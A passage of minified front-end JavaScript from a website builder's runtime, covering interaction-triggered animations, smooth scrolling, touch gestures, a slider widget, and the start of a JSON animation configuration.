o=t[r].parentNode;if(o&&o.children&&o.children.length&&-1===n.indexOf(o)){n.push(o);for(var a=o.firstElementChild;null!=a;)-1===t.indexOf(a)&&e.push(a),a=a.nextElementSibling}}return e},e.getRefType=function(t){if(null!=t&&\"object\"==(0,r.default)(t))return t instanceof Element?c:s;return null},e.getClosestElement=void 0;var i=n(2),o=i.IX2BrowserSupport.ELEMENT_MATCHES,a=i.IX2EngineConstants,u=a.IX2_ID_DELIMITER,c=a.HTML_ELEMENT,s=a.PLAIN_OBJECT,f=a.WF_PAGE;var l=Element.prototype.closest?function(t,e){return document.documentElement.contains(t)?t.closest(e):null}:function(t,e){if(!document.documentElement.contains(t))return null;var n=t;do{if(n[o]&&n[o](e))return n;n=n.parentNode}while(null!=n);return null};e.getClosestElement=l},function(t,e,n){\"use strict\";var r,i=n(0),o=i(n(14)),a=i(n(15)),u=n(0);Object.defineProperty(e,\"__esModule\",{value:!0}),e.default=void 0;var c,s,f,l=u(n(26)),d=u(n(238)),E=u(n(23)),p=u(n(257)),v=n(94),_=n(49),h=n(2),I=h.IX2EngineEventTypes,T=I.MOUSE_CLICK,g=I.MOUSE_SECOND_CLICK,O=I.MOUSE_DOWN,y=I.MOUSE_UP,m=I.MOUSE_OVER,A=I.MOUSE_OUT,S=I.DROPDOWN_CLOSE,R=I.DROPDOWN_OPEN,N=I.SLIDER_ACTIVE,b=I.SLIDER_INACTIVE,C=I.TAB_ACTIVE,L=I.TAB_INACTIVE,w=I.NAVBAR_CLOSE,x=I.NAVBAR_OPEN,P=I.MOUSE_MOVE,D=I.PAGE_SCROLL_DOWN,M=I.SCROLL_INTO_VIEW,F=I.COMPONENT_ACTIVE,G=I.COMPONENT_INACTIVE,j=I.SCROLL_OUT_OF_VIEW,V=I.PAGE_SCROLL_UP,X=I.SCROLLING_IN_VIEW,U=I.PAGE_FINISH,B=I.ECOMMERCE_CART_CLOSE,W=I.ECOMMERCE_CART_OPEN,k=I.PAGE_START,H=I.PAGE_SCROLL,Y=I.ELEMENT,z=I.VIEWPORT,K=I.PAGE,Q=h.IX2EngineConstants.COLON_DELIMITER,q=h.IX2VanillaUtils.getNamespacedParameterId,$=function(t){return function(e){return!(\"object\"!==(0,a.default)(e)||!t(e))||e}},Z=$(function(t){return t.element===t.nativeEvent.target}),J=$(function(t){var e=t.element,n=t.nativeEvent;return e.contains(n.target)}),tt=(0,d.default)([Z,J]),et=function(t,e){if(e){var n=t.getState().ixData.events[e];if(n&&!ct[n.eventTypeId])return n}return null},nt=function(t,e){var n=t.store,r=t.event,i=t.element,o=t.eventStateKey,a=r.action,u=r.id,c=a.config,s=c.actionListId,f=c.autoStopEventId,l=et(n,f);return l&&(0,v.stopActionGroup)({store:n,eventId:f,eventTarget:i,eventStateKey:f+Q+o.split(Q)[1],actionListId:(0,E.default)(l,\"action.config.actionListId\")}),(0,v.stopActionGroup)({store:n,eventId:u,eventTarget:i,eventStateKey:o,actionListId:s}),(0,v.startActionGroup)({store:n,eventId:u,eventTarget:i,eventStateKey:o,actionListId:s}),e},rt=function(t,e){return function(n,r){return!0===t(n,r)?e(n,r):r}},it={handler:rt(tt,nt)},ot=(0,l.default)({},it,{types:[F,G].join(\" \")}),at=[{target:window,types:\"resize orientationchange\",throttle:!0},{target:document,types:\"scroll wheel readystatechange IX2_PAGE_UPDATE\",throttle:!0}],ut={types:at},ct={PAGE_START:k,PAGE_FINISH:U},st=(c=void 0!==window.pageXOffset,s=\"CSS1Compat\"===document.compatMode?document.documentElement:document.body,function(){return{scrollLeft:c?window.pageXOffset:s.scrollLeft,scrollTop:c?window.pageYOffset:s.scrollTop,stiffScrollTop:(0,p.default)(c?window.pageYOffset:s.scrollTop,0,s.scrollHeight-window.innerHeight),scrollWidth:s.scrollWidth,scrollHeight:s.scrollHeight,clientWidth:s.clientWidth,clientHeight:s.clientHeight,innerWidth:window.innerWidth,innerHeight:window.innerHeight}}),ft=function(t){var e=t.element,n=t.nativeEvent,r=n.type,i=n.target,o=n.relatedTarget,a=e.contains(i);if(\"mouseover\"===r&&a)return!0;var u=e.contains(o);return!(\"mouseout\"!==r||!a||!u)},lt=function(t){var e,n,r=t.element,i=t.event.config,o=st(),a=o.clientWidth,u=o.clientHeight,c=i.scrollOffsetValue,s=\"PX\"===i.scrollOffsetUnit?c:u*(c||0)/100;return e=r.getBoundingClientRect(),n={left:0,top:s,right:a,bottom:u-s},!(e.left>n.right||e.right<n.left||e.top>n.bottom||e.bottom<n.top)},dt=function(t){return function(e,n){var r=e.nativeEvent.type,i=-1!==[F,G].indexOf(r)?r===F:n.isActive,o=(0,l.default)({},n,{isActive:i});return n&&o.isActive===n.isActive?o:t(e,o)||o}},Et=function(t){return function(e,n){var r={elementHovered:ft(e)};return(n?r.elementHovered!==n.elementHovered:r.elementHovered)&&t(e,r)||r}},pt=function(t){return function(e){var n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},r=st(),i=r.stiffScrollTop,o=r.scrollHeight,a=r.innerHeight,u=e.event,c=u.config,s=u.eventTypeId,f=c.scrollOffsetValue,d=\"PX\"===c.scrollOffsetUnit,E=o-a,p=Number((i/E).toFixed(2));if(n&&n.percentTop===p)return n;var v,_,h=(d?f:a*(f||0)/100)/E,I=0;n&&(v=p>n.percentTop,I=(_=n.scrollingDown!==v)?p:n.anchorTop);var T=s===D?p>=I+h:p<=I-h,g=(0,l.default)({},n,{percentTop:p,inBounds:T,anchorTop:I,scrollingDown:v});return n&&T&&(_||g.inBounds!==n.inBounds)&&t(e,g)||g}},vt=function(t){return function(e){var n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{clickCount:0},r={clickCount:n.clickCount%2+1};return r.clickCount!==n.clickCount&&t(e,r)||r}},_t=function(){var t=!(arguments.length>0&&void 0!==arguments[0])||arguments[0];return(0,l.default)({},ot,{handler:rt(t?tt:Z,dt(function(t,e){return e.isActive?it.handler(t,e):e}))})},ht=function(){var t=!(arguments.length>0&&void 0!==arguments[0])||arguments[0];return(0,l.default)({},ot,{handler:rt(t?tt:Z,dt(function(t,e){return e.isActive?e:it.handler(t,e)}))})},It=(0,l.default)({},ut,{handler:(f=function(t,e){var n=e.elementVisible,r=t.event;return!t.store.getState().ixData.events[r.action.config.autoStopEventId]&&e.triggered?e:r.eventTypeId===M===n?(nt(t),(0,l.default)({},e,{triggered:!0})):e},function(t,e){var n=(0,l.default)({},e,{elementVisible:lt(t)});return(e?n.elementVisible!==e.elementVisible:n.elementVisible)&&f(t,n)||n})}),Tt=(r={},(0,o.default)(r,N,_t()),(0,o.default)(r,b,ht()),(0,o.default)(r,R,_t()),(0,o.default)(r,S,ht()),(0,o.default)(r,x,_t(!1)),(0,o.default)(r,w,ht(!1)),(0,o.default)(r,C,_t()),(0,o.default)(r,L,ht()),(0,o.default)(r,W,{types:\"ecommerce-cart-open\",handler:rt(tt,nt)}),(0,o.default)(r,B,{types:\"ecommerce-cart-close\",handler:rt(tt,nt)}),(0,o.default)(r,T,{types:\"click\",handler:rt(tt,vt(function(t,e){var n,r,i,o=e.clickCount;r=(n=t).store,i=n.event.action.config.autoStopEventId,Boolean(et(r,i))?1===o&&nt(t):nt(t)}))}),(0,o.default)(r,g,{types:\"click\",handler:rt(tt,vt(function(t,e){2===e.clickCount&&nt(t)}))}),(0,o.default)(r,O,(0,l.default)({},it,{types:\"mousedown\"})),(0,o.default)(r,y,(0,l.default)({},it,{types:\"mouseup\"})),(0,o.default)(r,m,{types:\"mouseover mouseout\",handler:rt(tt,Et(function(t,e){e.elementHovered&&nt(t)}))}),(0,o.default)(r,A,{types:\"mouseover mouseout\",handler:rt(tt,Et(function(t,e){e.elementHovered||nt(t)}))}),(0,o.default)(r,P,{types:\"mousemove mouseout scroll\",handler:function(t){var e=t.store,n=t.element,r=t.eventConfig,i=t.nativeEvent,o=t.eventStateKey,a=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{clientX:0,clientY:0,pageX:0,pageY:0},u=r.basedOn,c=r.selectedAxis,s=r.continuousParameterGroupId,f=r.reverse,l=r.restingState,d=void 0===l?0:l,E=i.clientX,p=void 0===E?a.clientX:E,v=i.clientY,h=void 0===v?a.clientY:v,I=i.pageX,T=void 0===I?a.pageX:I,g=i.pageY,O=void 0===g?a.pageY:g,y=\"X_AXIS\"===c,m=\"mouseout\"===i.type,A=d/100,S=s,R=!1;switch(u){case z:A=y?Math.min(p,window.innerWidth)/window.innerWidth:Math.min(h,window.innerHeight)/window.innerHeight;break;case K:var N=st(),b=N.scrollLeft,C=N.scrollTop,L=N.scrollWidth,w=N.scrollHeight;A=y?Math.min(b+T,L)/L:Math.min(C+O,w)/w;break;case Y:default:S=q(o,s);var x=0===i.type.indexOf(\"mouse\");if(x&&!0!==tt({element:n,nativeEvent:i}))break;var P=n.getBoundingClientRect(),D=P.left,M=P.top,F=P.width,G=P.height;if(!x&&!function(t,e){return t.left>e.left&&t.left<e.right&&t.top>e.top&&t.top<e.bottom}({left:p,top:h},P))break;R=!0,A=y?(p-D)/F:(h-M)/G}return m&&(A>.95||A<.05)&&(A=Math.round(A)),(u!==Y||R||R!==a.elementHovered)&&(A=f?1-A:A,e.dispatch((0,_.parameterChanged)(S,A))),{elementHovered:R,clientX:p,clientY:h,pageX:T,pageY:O}}}),(0,o.default)(r,H,{types:at,handler:function(t){var e=t.store,n=t.eventConfig,r=n.continuousParameterGroupId,i=n.reverse,o=st(),a=o.scrollTop/(o.scrollHeight-o.clientHeight);a=i?1-a:a,e.dispatch((0,_.parameterChanged)(r,a))}}),(0,o.default)(r,X,{types:at,handler:function(t){var e=t.element,n=t.store,r=t.eventConfig,i=t.eventStateKey,o=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{scrollPercent:0},a=st(),u=a.scrollLeft,c=a.scrollTop,s=a.scrollWidth,f=a.scrollHeight,l=a.clientHeight,d=r.basedOn,E=r.selectedAxis,p=r.continuousParameterGroupId,v=r.startsEntering,h=r.startsExiting,I=r.addEndOffset,T=r.addStartOffset,g=r.addOffsetValue,O=void 0===g?0:g,y=r.endOffsetValue,m=void 0===y?0:y;if(d===z){var A=\"X_AXIS\"===E?u/s:c/f;return A!==o.scrollPercent&&n.dispatch((0,_.parameterChanged)(p,A)),{scrollPercent:A}}var S=q(i,p),R=e.getBoundingClientRect(),N=(T?O:0)/100,b=(I?m:0)/100;N=v?N:1-N,b=h?b:1-b;var C=R.top+Math.min(R.height*N,l),L=R.top+R.height*b-C,w=Math.min(l+L,f),x=Math.min(Math.max(0,l-C),w)/w;return x!==o.scrollPercent&&n.dispatch((0,_.parameterChanged)(S,x)),{scrollPercent:x}}}),(0,o.default)(r,M,It),(0,o.default)(r,j,It),(0,o.default)(r,D,(0,l.default)({},ut,{handler:pt(function(t,e){e.scrollingDown&&nt(t)})})),(0,o.default)(r,V,(0,l.default)({},ut,{handler:pt(function(t,e){e.scrollingDown||nt(t)})})),(0,o.default)(r,U,{types:\"readystatechange IX2_PAGE_UPDATE\",handler:rt(Z,function(t){return function(e,n){var r={finished:\"complete\"===document.readyState};return!r.finished||n&&n.finshed||t(e),r}}(nt))}),(0,o.default)(r,k,{types:\"readystatechange IX2_PAGE_UPDATE\",handler:rt(Z,function(t){return function(e,n){return n||t(e),{started:!0}}}(nt))}),r);e.default=Tt},function(t,e,n){var r=n(239)();t.exports=r},function(t,e,n){var r=n(50),i=n(240),o=n(99),a=n(100),u=n(1),c=n(253),s=\"Expected a function\",f=8,l=32,d=128,E=256;t.exports=function(t){return i(function(e){var n=e.length,i=n,p=r.prototype.thru;for(t&&e.reverse();i--;){var v=e[i];if(\"function\"!=typeof v)throw new TypeError(s);if(p&&!_&&\"wrapper\"==a(v))var _=new r([],!0)}for(i=_?i:n;++i<n;){v=e[i];var h=a(v),I=\"wrapper\"==h?o(v):void 0;_=I&&c(I[0])&&I[1]==(d|f|l|E)&&!I[4].length&&1==I[9]?_[a(I[0])].apply(_,I[3]):1==v.length&&c(v)?_[h]():_.thru(v)}return function(){var t=arguments,r=t[0];if(_&&1==t.length&&u(r))return _.plant(r).value();for(var i=0,o=n?e[i].apply(this,t):r;++i<n;)o=e[i].call(this,o);return o}})}},function(t,e,n){var r=n(241),i=n(244),o=n(246);t.exports=function(t){return o(i(t,void 0,r),t+\"\")}},function(t,e,n){var r=n(242);t.exports=function(t){return null!=t&&t.length?r(t,1):[]}},function(t,e,n){var r=n(34),i=n(243);t.exports=function t(e,n,o,a,u){var c=-1,s=e.length;for(o||(o=i),u||(u=[]);++c<s;){var f=e[c];n>0&&o(f)?n>1?t(f,n-1,o,a,u):r(u,f):a||(u[u.length]=f)}return u}},function(t,e,n){var r=n(11),i=n(22),o=n(1),a=r?r.isConcatSpreadable:void 0;t.exports=function(t){return o(t)||i(t)||!!(a&&t&&t[a])}},function(t,e,n){var r=n(245),i=Math.max;t.exports=function(t,e,n){return e=i(void 0===e?t.length-1:e,0),function(){for(var o=arguments,a=-1,u=i(o.length-e,0),c=Array(u);++a<u;)c[a]=o[e+a];a=-1;for(var s=Array(e+1);++a<e;)s[a]=o[a];return s[e]=n(c),r(t,this,s)}}},function(t,e){t.exports=function(t,e,n){switch(n.length){case 0:return t.call(e);case 1:return t.call(e,n[0]);case 2:return t.call(e,n[0],n[1]);case 3:return t.call(e,n[0],n[1],n[2])}return t.apply(e,n)}},function(t,e,n){var r=n(247),i=n(249)(r);t.exports=i},function(t,e,n){var r=n(248),i=n(96),o=n(44),a=i?function(t,e){return i(t,\"toString\",{configurable:!0,enumerable:!1,value:r(e),writable:!0})}:o;t.exports=a},function(t,e){t.exports=function(t){return function(){return t}}},function(t,e){var n=800,r=16,i=Date.now;t.exports=function(t){var e=0,o=0;return function(){var a=i(),u=r-(a-o);if(o=a,u>0){if(++e>=n)return arguments[0]}else e=0;return t.apply(void 0,arguments)}}},function(t,e,n){var r=n(76),i=r&&new r;t.exports=i},function(t,e){t.exports=function(){}},function(t,e){t.exports={}},function(t,e,n){var r=n(52),i=n(99),o=n(100),a=n(254);t.exports=function(t){var e=o(t),n=a[e];if(\"function\"!=typeof n||!(e in r.prototype))return!1;if(t===n)return!0;var u=i(n);return!!u&&t===u[0]}},function(t,e,n){var r=n(52),i=n(50),o=n(51),a=n(1),u=n(7),c=n(255),s=Object.prototype.hasOwnProperty;function f(t){if(u(t)&&!a(t)&&!(t instanceof r)){if(t instanceof i)return t;if(s.call(t,\"__wrapped__\"))return c(t)}return new i(t)}f.prototype=o.prototype,f.prototype.constructor=f,t.exports=f},function(t,e,n){var r=n(52),i=n(50),o=n(256);t.exports=function(t){if(t instanceof r)return t.clone();var e=new i(t.__wrapped__,t.__chain__);return e.__actions__=o(t.__actions__),e.__index__=t.__index__,e.__values__=t.__values__,e}},function(t,e){t.exports=function(t,e){var n=-1,r=t.length;for(e||(e=Array(r));++n<r;)e[n]=t[n];return e}},function(t,e,n){var r=n(97),i=n(46);t.exports=function(t,e,n){return void 0===n&&(n=e,e=void 0),void 0!==n&&(n=(n=i(n))==n?n:0),void 0!==e&&(e=(e=i(e))==e?e:0),r(i(t),e,n)}},function(t,e,n){\"use strict\";var r=n(8);r.define(\"links\",t.exports=function(t,e){var n,i,o,a={},u=t(window),c=r.env(),s=window.location,f=document.createElement(\"a\"),l=\"w--current\",d=/index\\.(html|php)$/,E=/\\/$/;function p(e){var r=n&&e.getAttribute(\"href-disabled\")||e.getAttribute(\"href\");if(f.href=r,!(r.indexOf(\":\")>=0)){var a=t(e);if(f.hash.length>1&&f.host+f.pathname===s.host+s.pathname){if(!/^#[a-zA-Z0-9\\-\\_]+$/.test(f.hash))return;var u=t(f.hash);u.length&&i.push({link:a,sec:u,active:!1})}else if(\"#\"!==r&&\"\"!==r){var c=f.href===s.href||r===o||d.test(r)&&E.test(o);_(a,l,c)}}}function v(){var t=u.scrollTop(),n=u.height();e.each(i,function(e){var r=e.link,i=e.sec,o=i.offset().top,a=i.outerHeight(),u=.5*n,c=i.is(\":visible\")&&o+a-u>=t&&o+u<=t+n;e.active!==c&&(e.active=c,_(r,l,c))})}function _(t,e,n){var r=t.hasClass(e);n&&r||(n||r)&&(n?t.addClass(e):t.removeClass(e))}return a.ready=a.design=a.preview=function(){n=c&&r.env(\"design\"),o=r.env(\"slug\")||s.pathname||\"\",r.scroll.off(v),i=[];for(var t=document.links,e=0;e<t.length;++e)p(t[e]);i.length&&(r.scroll.on(v),v())},a})},function(t,e,n){\"use strict\";var r=n(8);r.define(\"scroll\",t.exports=function(t){var e=t(document),n=window,i=n.location,o=function(){try{return Boolean(n.frameElement)}catch(t){return!0}}()?null:n.history,a=/^[a-zA-Z0-9][\\w:.-]*$/;return{ready:function(){var u=i.href.split(\"#\")[0];e.on(\"click\",\"a\",function(e){if(!(r.env(\"design\")||window.$.mobile&&t(e.currentTarget).hasClass(\"ui-link\")))if(\"#\"!==this.getAttribute(\"href\")){var c=this.href.split(\"#\"),s=c[0]===u?c[1]:null;s&&function(e,u){if(a.test(e)){var c=t(\"#\"+e);if(c.length){if(u&&(u.preventDefault(),u.stopPropagation()),i.hash!==e&&o&&o.pushState&&(!r.env.chrome||\"file:\"!==i.protocol)){var s=o.state&&o.state.hash;s!==e&&o.pushState({hash:e},\"\",\"#\"+e)}var f=r.env(\"editor\")?\".w-editor-body\":\"body\",l=t(\"header, \"+f+\" > .header, \"+f+\" > .w-nav:not([data-no-scroll])\"),d=\"fixed\"===l.css(\"position\")?l.outerHeight():0;n.setTimeout(function(){!function(e,r){var i=t(n).scrollTop(),o=e.offset().top-r;if(\"mid\"===e.data(\"scroll\")){var a=t(n).height()-r,u=e.outerHeight();u<a&&(o-=Math.round((a-u)/2))}var c=1;t(\"body\").add(e).each(function(){var e=parseFloat(t(this).attr(\"data-scroll-time\"),10);!isNaN(e)&&(0===e||e>0)&&(c=e)}),Date.now||(Date.now=function(){return(new Date).getTime()});var s=Date.now(),f=n.requestAnimationFrame||n.mozRequestAnimationFrame||n.webkitRequestAnimationFrame||function(t){n.setTimeout(t,15)},l=(472.143*Math.log(Math.abs(i-o)+125)-2e3)*c;!function t(){var e=Date.now()-s;n.scroll(0,function(t,e,n,r){return n>r?e:t+(e-t)*((i=n/r)<.5?4*i*i*i:(i-1)*(2*i-2)*(2*i-2)+1);var i}(i,o,e,l)),e<=l&&f(t)}()}(c,d)},u?0:300)}}}(s,e)}else e.preventDefault()})}}})},function(t,e,n){\"use strict\";n(8).define(\"touch\",t.exports=function(t){var e={},n=!document.addEventListener,r=window.getSelection;function i(t){var e,n,i,a=!1,u=!1,c=!1,s=Math.min(Math.round(.04*window.innerWidth),40);function f(t){var r=t.touches;r&&r.length>1||(a=!0,u=!1,r?(c=!0,e=r[0].clientX,n=r[0].clientY):(e=t.clientX,n=t.clientY),i=e)}function l(t){if(a){if(c&&\"mousemove\"===t.type)return t.preventDefault(),void t.stopPropagation();var f=t.touches,l=f?f[0].clientX:t.clientX,d=f?f[0].clientY:t.clientY,p=l-i;i=l,Math.abs(p)>s&&r&&\"\"===String(r())&&(o(\"swipe\",t,{direction:p>0?\"right\":\"left\"}),E()),(Math.abs(l-e)>10||Math.abs(d-n)>10)&&(u=!0)}}function d(t){if(a){if(a=!1,c&&\"mouseup\"===t.type)return t.preventDefault(),t.stopPropagation(),void(c=!1);u||o(\"tap\",t)}}function E(){a=!1}t.addEventListener(\"touchstart\",f,!1),t.addEventListener(\"touchmove\",l,!1),t.addEventListener(\"touchend\",d,!1),t.addEventListener(\"touchcancel\",E,!1),t.addEventListener(\"mousedown\",f,!1),t.addEventListener(\"mousemove\",l,!1),t.addEventListener(\"mouseup\",d,!1),t.addEventListener(\"mouseout\",E,!1),this.destroy=function(){t.removeEventListener(\"touchstart\",f,!1),t.removeEventListener(\"touchmove\",l,!1),t.removeEventListener(\"touchend\",d,!1),t.removeEventListener(\"touchcancel\",E,!1),t.removeEventListener(\"mousedown\",f,!1),t.removeEventListener(\"mousemove\",l,!1),t.removeEventListener(\"mouseup\",d,!1),t.removeEventListener(\"mouseout\",E,!1),t=null}}function o(e,n,r){var i=t.Event(e,{originalEvent:n});t(n.target).trigger(i,r)}return n&&(t.event.special.tap={bindType:\"click\",delegateType:\"click\"}),e.init=function(e){return n?null:(e=\"string\"==typeof e?t(e).get(0):e)?new i(e):null},e.instance=e.init(document),e})},function(t,e,n){\"use strict\";var r=n(8),i=n(54);r.define(\"slider\",t.exports=function(t,e){var n,o,a,u,c={},s=t.tram,f=t(document),l=r.env(),d=\".w-slider\",E='<div class=\"w-slider-dot\" data-pr-ignore />',p=i.triggers;function v(){(n=f.find(d)).length&&(n.each(I),u=null,a||(_(),r.resize.on(h),r.redraw.on(c.redraw)))}function _(){r.resize.off(h),r.redraw.off(c.redraw)}function h(){n.filter(\":visible\").each(R)}function I(e,n){var r=t(n),i=t.data(n,d);if(i||(i=t.data(n,d,{index:0,depth:1,el:r,config:{}})),i.mask=r.children(\".w-slider-mask\"),i.left=r.children(\".w-slider-arrow-left\"),i.right=r.children(\".w-slider-arrow-right\"),i.nav=r.children(\".w-slider-nav\"),i.slides=i.mask.children(\".w-slide\"),i.slides.each(p.reset),u&&(i.maskWidth=0),!s.support.transform)return i.left.hide(),i.right.hide(),i.nav.hide(),void(a=!0);i.el.off(d),i.left.off(d),i.right.off(d),i.nav.off(d),T(i),o?(i.el.on(\"setting\"+d,A(i)),m(i),i.hasTimer=!1):(i.el.on(\"swipe\"+d,A(i)),i.left.on(\"tap\"+d,O(i)),i.right.on(\"tap\"+d,y(i)),i.config.autoplay&&!i.hasTimer&&(i.hasTimer=!0,i.timerCount=1,function t(e){m(e);var n=e.config;var r=n.timerMax;if(r&&e.timerCount++>r)return;e.timerId=window.setTimeout(function(){null==e.timerId||o||(y(e)(),t(e))},n.delay)}(i))),i.nav.on(\"tap\"+d,\"> div\",A(i)),l||i.mask.contents().filter(function(){return 3===this.nodeType}).remove();var c=r.filter(\":hidden\");c.show();var f=r.parents(\":hidden\");f.show(),R(e,n),c.css(\"display\",\"\"),f.css(\"display\",\"\")}function T(t){var e={crossOver:0};e.animation=t.el.attr(\"data-animation\")||\"slide\",\"outin\"===e.animation&&(e.animation=\"cross\",e.crossOver=.5),e.easing=t.el.attr(\"data-easing\")||\"ease\";var n=t.el.attr(\"data-duration\");if(e.duration=null!=n?parseInt(n,10):500,g(t.el.attr(\"data-infinite\"))&&(e.infinite=!0),g(t.el.attr(\"data-disable-swipe\"))&&(e.disableSwipe=!0),g(t.el.attr(\"data-hide-arrows\"))?e.hideArrows=!0:t.config.hideArrows&&(t.left.show(),t.right.show()),g(t.el.attr(\"data-autoplay\"))){e.autoplay=!0,e.delay=parseInt(t.el.attr(\"data-delay\"),10)||2e3,e.timerMax=parseInt(t.el.attr(\"data-autoplay-limit\"),10);var r=\"mousedown\"+d+\" touchstart\"+d;o||t.el.off(r).one(r,function(){m(t)})}var i=t.right.width();e.edge=i?i+40:100,t.config=e}function g(t){return\"1\"===t||\"true\"===t}function O(t){return function(){S(t,{index:t.index-1,vector:-1})}}function y(t){return function(){S(t,{index:t.index+1,vector:1})}}function m(t){window.clearTimeout(t.timerId),t.timerId=null}function A(n){return function(i,a){a=a||{};var u=n.config;if(o&&\"setting\"===i.type){if(\"prev\"===a.select)return O(n)();if(\"next\"===a.select)return y(n)();if(T(n),N(n),null==a.select)return;!function(n,r){var i=null;r===n.slides.length&&(v(),N(n)),e.each(n.anchors,function(e,n){t(e.els).each(function(e,o){t(o).index()===r&&(i=n)})}),null!=i&&S(n,{index:i,immediate:!0})}(n,a.select)}else{if(\"swipe\"===i.type){if(u.disableSwipe)return;if(r.env(\"editor\"))return;return\"left\"===a.direction?y(n)():\"right\"===a.direction?O(n)():void 0}n.nav.has(i.target).length&&S(n,{index:t(i.target).index()})}}}function S(e,n){n=n||{};var r=e.config,i=e.anchors;e.previous=e.index;var a=n.index,c={};a<0?(a=i.length-1,r.infinite&&(c.x=-e.endX,c.from=0,c.to=i[0].width)):a>=i.length&&(a=0,r.infinite&&(c.x=i[i.length-1].width,c.from=-i[i.length-1].x,c.to=c.from-c.x)),e.index=a;var f=e.nav.children().eq(e.index).addClass(\"w-active\");e.nav.children().not(f).removeClass(\"w-active\"),r.hideArrows&&(e.index===i.length-1?e.right.hide():e.right.show(),0===e.index?e.left.hide():e.left.show());var l=e.offsetX||0,d=e.offsetX=-i[e.index].x,E={x:d,opacity:1,visibility:\"\"},v=t(i[e.index].els),_=t(i[e.previous]&&i[e.previous].els),h=e.slides.not(v),I=r.animation,T=r.easing,g=Math.round(r.duration),O=n.vector||(e.index>e.previous?1:-1),y=\"opacity \"+g+\"ms \"+T,m=\"transform \"+g+\"ms \"+T;if(o||(v.each(p.intro),h.each(p.outro)),n.immediate&&!u)return s(v).set(E),void R();if(e.index!==e.previous){if(\"cross\"===I){var A=Math.round(g-g*r.crossOver),S=Math.round(g-A);return y=\"opacity \"+A+\"ms \"+T,s(_).set({visibility:\"\"}).add(y).start({opacity:0}),void s(v).set({visibility:\"\",x:d,opacity:0,zIndex:e.depth++}).add(y).wait(S).then({opacity:1}).then(R)}if(\"fade\"===I)return s(_).set({visibility:\"\"}).stop(),void s(v).set({visibility:\"\",x:d,opacity:0,zIndex:e.depth++}).add(y).start({opacity:1}).then(R);if(\"over\"===I)return E={x:e.endX},s(_).set({visibility:\"\"}).stop(),void s(v).set({visibility:\"\",zIndex:e.depth++,x:d+i[e.index].width*O}).add(m).start({x:d}).then(R);r.infinite&&c.x?(s(e.slides.not(_)).set({visibility:\"\",x:c.x}).add(m).start({x:d}),s(_).set({visibility:\"\",x:c.from}).add(m).start({x:c.to}),e.shifted=_):(r.infinite&&e.shifted&&(s(e.shifted).set({visibility:\"\",x:l}),e.shifted=null),s(e.slides).set({visibility:\"\"}).add(m).start({x:d}))}function R(){v=t(i[e.index].els),h=e.slides.not(v),\"slide\"!==I&&(E.visibility=\"hidden\"),s(h).set(E)}}function R(e,n){var r=t.data(n,d);if(r)return function(t){var e=t.mask.width();if(t.maskWidth!==e)return t.maskWidth=e,!0;return!1}(r)?N(r):void(o&&function(e){var n=0;if(e.slides.each(function(e,r){n+=t(r).outerWidth(!0)}),e.slidesWidth!==n)return e.slidesWidth=n,!0;return!1}(r)&&N(r))}function N(e){var n=1,r=0,i=0,a=0,u=e.maskWidth,c=u-e.config.edge;c<0&&(c=0),e.anchors=[{els:[],x:0,width:0}],e.slides.each(function(o,s){i-r>c&&(n++,r+=u,e.anchors[n-1]={els:[],x:i,width:0}),a=t(s).outerWidth(!0),i+=a,e.anchors[n-1].width+=a,e.anchors[n-1].els.push(s)}),e.endX=i,o&&(e.pages=null),e.nav.length&&e.pages!==n&&(e.pages=n,function(e){var n,r=[],i=e.el.attr(\"data-nav-spacing\");i&&(i=parseFloat(i)+\"px\");for(var o=0;o<e.pages;o++)n=t(E),e.nav.hasClass(\"w-num\")&&n.text(o+1),null!=i&&n.css({\"margin-left\":i,\"margin-right\":i}),r.push(n);e.nav.empty().append(r)}(e));var s=e.index;s>=n&&(s=n-1),S(e,{immediate:!0,index:s})}return c.ready=function(){o=r.env(\"design\"),v()},c.design=function(){o=!0,v()},c.preview=function(){o=!1,v()},c.redraw=function(){u=!0,v()},c.destroy=_,c})}]);/**\n * ----------------------------------------------------------------------\n * pyro: Interactions 2.0: Init\n */\npyro.require('ix2').init(\n{\"events\":{\"e\":{\"id\":\"e\",\"eventTypeId\":\"SCROLL_INTO_VIEW\",\"action\":{\"id\":\"\",\"actionTypeId\":\"GENERAL_START_ACTION\",\"config\":{\"delay\":0,\"easing\":\"\",\"duration\":0,\"actionListId\":\"a\",\"affectedElements\":{},\"playInReverse\":false,\"autoStopEventId\":\"e-2\"}},\"mediaQueries\":[\"main\",\"medium\",\"small\",\"tiny\"],\"target\":{\"appliesTo\":\"ELEMENT\",\"styleBlockIds\":[],\"id\":\"5e11d9110227d065447b0858|7b107e6a-2faa-c72e-0226-74a298bd22df\"},\"config\":{\"loop\":false,\"playInReverse\":false,\"scrollOffsetValue\":0,\"scrollOffsetUnit\":\"%\",\"delay\":null,\"direction\":null,\"effectIn\":null},\"createdOn\":1578558358740},\"e-3\":{\"id\":\"e-3\",\"eventTypeId\":\"SCROLL_INTO_VIEW\",\"action\":{\"id\":\"\",\"actionTypeId\":\"GENERAL_START_ACTION\",\"config\":{\"delay\":0,\"easing\":\"\",\"duration\":0,\"actionListId\":\"a-2\",\"affectedElements\":{},\"playInReverse\":false,\"autoStopEventId\":\"e-4\"}},\"mediaQueries\":[\"main\",\"medium\",\"small\",\"tiny\"],\"target\":{\"appliesTo\":\"ELEMENT\",\"styleBlockIds\":[],\"id\":\"5e11d9110227d065447b0858|dc0dfefc-eb7b-02ac-227c-bb8584a8d160\"},\"config\":{\"loop\":false,\"playInReverse\":false,\"scrollOffsetValue\":30,\"scrollOffsetUnit\":\"%\",\"delay\":null,\"direction\":null,\"effectIn\":null},\"createdOn\":1578559459023},\"e-5\":{\"id\":\"e-5\",\"eventTypeId\":\"SCROLL_INTO_VIEW\",\"action\":{\"id\":\"\",\"actionTypeId\":\"GENERAL_START_ACTION\",\"config\":{\"delay\":0,\"easing\":\"\",\"duration\":0,\"actionListId\":\"a-3\",\"affectedElements\":{},\"playInReverse\":false,\"autoStopEventId\":\"e-6\"}},\"mediaQueries\":[\"main\",\"medium\",\"small\",\"tiny\"],\"target\":{\"appliesTo\":\"ELEMENT\",\"styleBlockIds\":[],\"id\":\"5e11d9110227d065447b0858|12a4a427-428c-e8fa-528c-fd646016ed2e\"},\"config\":{\"loop\":false,\"playInReverse\":false,\"scrollOffsetValue\":50,\"scrollOffsetUnit\":\"%\",\"delay\":null,\"direction\":null,\"effectIn\":null},\"createdOn\":1578559950792},\"e-7\":{\"id\":\"e-7\",\